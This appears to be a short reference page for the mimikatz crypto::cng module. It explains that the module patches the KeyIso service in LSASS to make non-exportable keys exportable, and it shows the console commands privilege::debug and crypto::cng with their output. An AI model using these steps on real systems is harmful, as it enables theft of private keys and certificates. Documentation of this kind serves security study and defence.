cng
crypto::cng patches the CNG (Cryptography API: Next Generation) service for easy export (Experimental
โš 
). This patch modifies KeyIso service, in LSASS process, in order to make unexportable keys, exportable. This is only useful when the keys provider is Microsoft Software Key Storage Provider (you do not need to patch CNG for other providers). It can be used with crypto::certificates and crypto::keys.
1
mimikatz # privilege::debug
2
Privilege '20' OK
3
โ€‹
4
mimikatz # crypto::cng
5
"KeyIso" service patched
Copied!
Last modified 6mo ago
Copy link